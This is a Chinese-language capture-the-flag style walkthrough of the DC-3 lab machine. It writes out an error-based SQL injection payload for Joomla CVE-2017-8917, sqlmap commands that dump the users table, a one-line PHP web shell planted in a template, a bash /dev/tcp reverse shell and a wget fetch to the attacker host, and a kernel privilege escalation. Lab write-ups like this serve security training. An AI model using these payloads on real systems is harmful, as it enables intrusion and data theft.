★ FEATURED ARTICLE DC-3这台靶机在圈子里口碑一直很稳几乎每个练内网和Web渗透的人都会拿它过一遍。它本身不难难点在于你对信息收集、漏洞利用和提权这三件事有没有形成肌肉记忆——如果你习惯拿到目标就一顿乱扫、看到洞就想秒拿权限这台靶机会让你安静下来重新理一遍思路。整台机器只开放了一个Web端口攻击面全压在Joomla这一个CMS上从Web打进去到最后拿root是一套非常标准的单点突破口打法。这篇文章我按实际打靶的完整链路来写从环境确认开始到扫端口、识别CMS指纹、锁定Joomla的历史漏洞、利用SQL注入拿数据、进后台、改模板落shell、再到内核提权每一步都给出当时的命令、输出和判断依据把踩过的坑和判断逻辑一并说清。适合刚入门想系统走一遍靶机的朋友也适合那些打过一次但对细节记不牢的选手拿来做对照。1. 开打之前先吃透靶机的脾气很多人在靶机上浪费时间的第一个原因不是技术不够而是压根没想清楚这台靶机在考什么。DC-3从标题到描述都在暗示一件事只有一个攻击入口你的精力必须全花在Web层面。如果还在用打DC-1、DC-2的思路去期待多个端口、多个服务大概率会空手而归。1.1 靶机环境确认与网络连通性我习惯先把靶机和攻击机的网络搞明白。DC-3官方推荐的网络模式是NAT靶机IP在自己网段里动态获取。启动之后常见的做法有两个一个是在VMware的虚拟网络编辑器里看一眼DHCP地址池另一个更省事——直接nmap扫一遍本地网段把新冒出来的主机抓出来。攻击机我用的是Kali靶机分配到的IP是192.168.1.128攻击机是192.168.1.106。环境确认后先做一次连通性测试再上nmap这是我打靶前雷打不动的顺序。ping -c 3 192.168.1.128如果能稳定回包说明靶机已启动网络没问题。接下来进入信息收集阶段这一步质量高低直接决定后面是走坦途还是绕远路。1.2 全端口扫描为什么只扫到80nmap我习惯用两个阶段先快速探测开放端口再针对开放的端口做服务和版本识别。nmap -sS -sV -p- -T4 192.168.1.128-p-表示扫描全部65535个端口-sV会顺带做版本探测。结果非常干脆PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) MAC Address: 00:0C:29:xx:xx:xx (VMware)这台靶机居然只开了一个80端口。和你平时打的内网机器不同这里没有SSH、没有数据库端口外露、没有文件共享所有攻击面都被压缩到了Web应用上。这就意味着下一步必须把重点放到Web指纹识别和应用层漏洞挖掘上系统层的漏洞利用只能等拿到Web权限之后再考虑。这里有个心得看到端口少别急着失望端口少反而是出题人在刻意引导你往深处走。如果CMS本身存在已知漏洞一个80端口就足以拿下一台机器。1.3 先看页面再动手别急着上扫描器端口扫描一结束我第一件事是打开浏览器访问http://192.168.1.128。DC-3的首页乍一看没什么特殊布局是普通的CMS默认主题风格一眼能猜出是某个内容管理系统搭的站。但别急着开心你要做的是把页面源代码慢慢翻一遍。在页面源码里有一行meta标签很有意思meta namegenerator contentJoomla! - Open Source Content Management /Joomla这个指纹信息就像一个人自报家门。如果你看到的是Drupal或WordPress的痕迹那就查对应的漏洞库既然确认是Joomla接下来的路线就清晰多了——先定位精确版本再查该版本是否存在已知漏洞。2. 拿下Web入口从版本指纹到Joomla SQL注入确认CMS是Joomla之后下一件事是找出精确版本号。版本号决定你能不能快速匹配到公开漏洞。DC-3这里的版本识别有一个比较经典的操作通过查看系统页面源代码或特定路径的组件信息来确定。2.1 版本识别Joomla 3.7.0的暴露痕迹访问首页的同时我习惯把robots.txt、README.txt、administrator目录都探一遍。Joomla的安装目录结构里有不少可以辅助判断版本的文件比如http://192.168.1.128/administrator/ http://192.168.1.128/robots.txt浏览器访问/administrator/manifests/files/joomla.xml这种路径可以看到更明确的版本号。但DC-3这台机器上有个更直接的判断方法——查看Joomla更新相关文件或者安装清单里面通常能读出当前的精确版本。我当时通过直接读取页面深层内容最终确认这台靶机跑的是Joomla 3.7.0。这个版本号一出来思路就瞬间清晰了。Joomla 3.7.0有一个非常著名的SQL注入漏洞编号是CVE-2017-8917影响范围正好包含这个版本而且利用难度不高正好适合做攻击入口。2.2 CVE-2017-8917com_fields组件的User-Agent注入点这个漏洞的原理一句话能讲清Joomla在3.7.0版本里新增了com_fields组件但这个组件对请求里的User-Agent字段过滤不够严格导致恶意SQL语句可以被拼接进数据库查询里。攻击者只要构造一个特殊的User-Agent请求就能让数据库执行我们想要的操作。可能有人会问为什么要用User-Agent而不是普通的GET参数因为这个漏洞出在组件处理请求头的地方攻击面不在URL参数里而在HTTP头里。这也是为什么很多自动化扫描器翻车的原因——默认扫描不会去遍历所有请求头对这个点无能为力。我自己验证的时候是通过抓包工具改了User-Agent的值再观察服务器返回的差异来判断的。证据类型有很多种但最稳妥的方式是让注入点在请求中形成可见的报错或者时间延迟。注入点的格式大概是这样的注意这只是一个靶机环境下的验证思路不要拿去打任何未经授权的线上系统User-Agent: Mozilla/5.0 (compatible; Joomla!) AND extractvalue(1, concat(0x7e, database())) -- -这个payload利用了MySQL的报错机制如果数据库把查询结果直接反馈到页面上就能看到数据库名。但说实话手工一点点构造很累实战中我用的是自动化工具来加快这个过程。2.3 用sqlmap直接淌数据库数据库类型是MySQL注入点在User-Agent头这两条信息足够让sqlmap干活了。但直接跑默认配置不会自动测到User-Agent头必须在命令里指定level和risk。sqlmap -u http://192.168.1.128/index.php \ --level3 --risk2 \ --dbmsmysql \ --batchlevel3的意义在于sqlmap会把请求头里的各个字段都纳入测试范围包括User-Agent。risk2则会启用部分对目标可能有轻微影响的测试语句。跑起来之后观察输出很快能看到类似下面的回显确认User-Agent位置存在注入点Parameter: User-Agent (HTTP) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Type: error-based Title: MySQL 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause既然确认是Joomla的SQL注入第一步是把当前数据库名拿出来sqlmap -u http://192.168.1.128/index.php \ --level3 --risk2 --dbmsmysql \ --current-db --batch拿到库名之后我下一步就是枚举表名。这一步必须有耐心因为Joomla的表结构非常固定你真正想要的数据往往集中在users表里但表前缀各种值都有直接猜不如老老实实列一遍。sqlmap -u http://192.168.1.128/index.php \ --level3 --risk2 --dbmsmysql \ -D joomladb --tables --batch数据库输出的表里能看到一个类似xxx_users的表这就是存后台账号数据的地方。把这张表的内容拖出来重点看用户名和密码字段sqlmap -u http://192.168.1.128/index.php \ --level3 --risk2 --dbmsmysql \ -D joomladb -T xxx_users --dump --batch密码字段拿到手的是一串hash这串hash可以直接交给hashcat等工具跑弱口令字典也可以先拿到后台登录页去试试默认凭据。这里说一句靶机环境的hash破解往往只是时间问题弱口令字典足够小就能快速碰撞出明文。3. 进入后台之后把一句话变成shell拿到Joomla后台的管理员权限这就算正式打开了第一道门。但Joomla后台本身能做的事不少很多人卡在这个位置不知道下一步怎么走。其实思路非常固定利用后台的模板编辑功能把PHP代码塞进模板文件再通过访问这个模板文件触发PHP代码执行从而拿到WebShell权限。3.1 后台登录与管理员凭据的来源后台登录入口在/administrator目录页面长得和其他Joomla后台一模一样。我这里用的凭据是从sqlmap拖出来的数据里整理出来的hash破解之后得到了管理员的密码明文。登录过程没什么可讲的输入账号密码进入后台首页。关键问题在于接下来去哪做手脚。3.2 篡改模板文件从后台到webshellJoomla后台左侧菜单里找到“模板”相关的选项进入当前正在使用的默认模板的编辑页面。模板文件列表里有index.php这就是我们需要的目标文件。我当时的做法是找一个不影响页面主干的PHP位置在文件头部或者某个不被直接访问的逻辑块里插入一段PHP代码。这里要着重强调这段代码必须具有简单的命令执行能力也就是俗称的一句话木马只要能被解析器执行就能通过HTTP请求带系统命令。大致逻辑如下?php system($_GET[cmd]); ?把这段代码保存进index.php之后直接在浏览器里访问http://192.168.1.128/index.php?cmdid页面回显里如果出现了www-data或apache相关的用户信息说明PHP代码已经成功执行我们现在拥有的是Web服务的权限也就是www-data用户权限。这里有一个非常关键的坑如果模板被缓存了修改之后前端可能不会立即生效。我当时遇到过这种情况页面怎么刷新都不执行新代码。解决办法是清掉Joomla的系统缓存或者在URL后面加一个随机参数强制绕过缓存。3.3 把单向命令交互升级为可交互Shell直接通过URL传cmd虽然能用但体验很糟糕每次执行命令都要刷新页面、改参数、解码特殊字符连翻目录都很痛苦。我习惯在拿到初步命令执行能力之后立刻升级成可交互的shell。反向Shell是一种常见手段——让靶机主动连回攻击机的监听端口。攻击机这边先监听nc -lvnp 4444靶机那边执行bash -i /dev/tcp/192.168.1.106/4444 01如果是通过URL传参需要注意URL编码问题尤其是和这类字符会被当成特殊符号处理。我当时直接把命令用URL编码传了一遍成功让靶机连回了Kali。连接建立之后再用Python把shell升级成交互模式python -c import pty; pty.spawn(/bin/bash)这样就有了一个相对完整的bash环境可以正常看文件、切目录、传文件了。3.4 提权前的信息收集kernel版本是最关键的那块拼图拿到www-data权限之后别急着翻网站源码、找数据库配置文件虽然是常规操作但DC-3这台靶机真正要考的核心摆在系统层面。先看内核uname -a输出非常醒目Linux DC-3 4.4.0-21-generic #30-Ubuntu SMP ...4.4.0-21-generic这个内核版本我熟得很。它属于Ubuntu 16.04系列是一个存在经典本地提权漏洞的内核版本。到这里整个攻击链已经拼齐了Joomla漏洞进后台 - 模板写入一句话 - 命令执行 - 获得www-data - 内核提权。剩下的活儿全部集中在如何把root权限拿到手。4. 内核提权从www-data到root内核版本4.4.0-21-generic对应的本地提权漏洞在当时已经被公开利用代码覆盖。这类漏洞的原理多数出在Linux内核的某个子系统对用户空间传入的数据缺少边界校验导致攻击者可以以内核权限执行任意代码。说白了就是一个普通用户可以通过运行特定程序把内核的某块内存改写成自己的shellcode从而获得root权限的进程。4.1 为什么这个内核版本能提权内核4.4.0早期版本存在一个非常经典的竞态条件漏洞本质上是因为内核在处理某些文件系统操作时没有正确处理符号链接和真实文件之间的切换窗口。攻击者可以利用这个竞态窗口让内核在检查权限之后、真正执行操作之前把目标路径悄悄替换掉。一旦成功就能让内核以root身份把恶意文件写成可执行文件或者执行我们指定的操作。这个漏洞在真实世界里影响过大量Ubuntu系统后续被内核补丁修复。而在靶机上系统没有打补丁所以我们能直接利用。4.2 利用代码的获取与编译拿到利用代码的过程比较常规——在Kali上搜索匹配4.4.0-21-generic的本地提权exp下载后进行交叉检查和编译。不过我更推荐在靶机上直接编译因为编译出来的二进制能保证和靶机当前内核完全匹配减少“libc版本不一致”“编译选项不兼容”这类莫名其妙的问题。下载exp后在靶机上操作wget http://192.168.1.106/exploit.c gcc -o exploit exploit.c如果编译过程中报错常见原因有两个一是缺少某个头文件二是代码里用了更新的内嵌汇编语法。遇到前者就检查gcc和内核头文件是否齐全遇到后者就换个版本的exp。我最后选中的exp编译过程非常顺利没有额外依赖直接生成了可执行文件。4.3 执行提权从编译到落地执行./exploit等待一小段时间后终端里多了一个root提示符。拿root之后做的第一件事是确认身份id输出uid0(root) gid0(root) groups0(root)root权限到手。再顺手把flag文件读出来这一步等于宣告整台靶机已经被完整打穿。这里有个值得提的细节执行本地提权exp的时候环境变量尤其是PATH要小心。因为提权之后shell的环境继承自当前用户如果当前PATH里被塞了不正常的路径任何一条命令都可能被劫持。虽然靶机环境简单不至于做手脚但正规思路是每次拿到新权限之后先执行/bin/sh换一个干净环境。5. 复盘与经验这台靶机教会我的事DC-3如果只看结论攻击路径只有四条Joomla旧版本漏洞、模板写一句话、命令执行、内核提权。但真正把这条路走顺背后全是对细节的把握。5.1 信息收集的核心是维度不是数量很多新手习惯把扫描器输出的所有东西都抄一遍看到什么报告什么。但DC-3教会我的第一件事是信息收集的关键在于把分散的线索串联成一个完整的攻击面地图。你从 标签里拿到Joomla指纹从组件里锁定3.7.0从3.7.0匹配到CVE再从CVE推导出注入点位置。整个链条环环相扣没有任何一步是多余的。反过来看那些在靶机上卡死的人往往不是没信息而是拿到了信息之后没有往下追问“这个信息能推导出什么下一步”。版本号不止是记录在案的数字它意味着一个具体的漏洞仓库CMS类型不止是页面上的一句话它决定了整个攻击面分析框架。学会让信息自己说话比多装十个扫描器强得多。5.2 自动化工具要配合人工判断不能无脑跑sqlmap在这次攻击链路里帮了大忙但如果有人以为把命令丢上去就能自动交flag那就大错特错了。我在跑sqlmap的过程中至少人工干预了三回第一回是指定--level3来扩大测试范围第二回是在多个数据库表里筛出users表第三回是从一堆hash里判断哪个可以优先破解。工具能帮你省去重复劳动但关键判断必须靠脑子。另外还有一个容易踩的细节sqlmap跑完注入之后宿主机的Web服务可能会出现短暂的响应变慢这是数据库被大量查询压住导致的。打靶机无所谓但在真实授权测试里必须控制请求频率否则影响业务本身就是事故。5.3 为什么要区分靶机思路和真实渗透思路打靶机练的是“在理想条件下把攻击链走通”但真实环境里至少要多考虑三层漏洞利用的稳定性靶机环境固定exp跑一次就能成但真实系统内核版本、编译环境、内存布局都可能不一样同样的exp可能要跑十次才成功甚至直接把目标打崩。流量层面的隐蔽性sqlmap一键拖库在靶机里毫无压力可真实业务环境里这种高频SQL注入请求十有八九会被防护系统拦下来。影响范围控制写一句话木马、改模板文件这些操作在靶机上只是测试步骤但在真实系统上属于高危动作任何未经授权的同类操作都可能导致数据损坏或者系统被入侵。我对DC-3一直有个评价它是最好的“单点切入”教学靶机之一。没有复杂的网络拓扑没有多主机横向移动要求就是让你老老实实把一个Web漏洞从发现、利用、拿权限、提权走完。这套动作看着基础但只要你完完整整走一遍后面再去打那些多层网络、多阶段渗透的靶机至少底子是稳的。上手这台靶机建议别急着搜WP尽可能自己卡一卡卡住再看答案收获完全不同。最后再分享一个心态层面的小技巧打靶机卡住的时候别埋头硬刚把已经拿到的信息重新捋一遍问自己三个问题——我的信息收集有没有遗漏关键维度当前漏洞利用方式是不是唯一解我是不是太快把某个结论当成事实了DC-3这一趟下来磨掉的不是你的热情是那种看见端口就想打、拿到工具就想跑、出一个结果就收工的急躁。这种状态一旦能自我察觉你离真正的渗透思路也就不远了。
阅读完成 · 觉得有帮助？
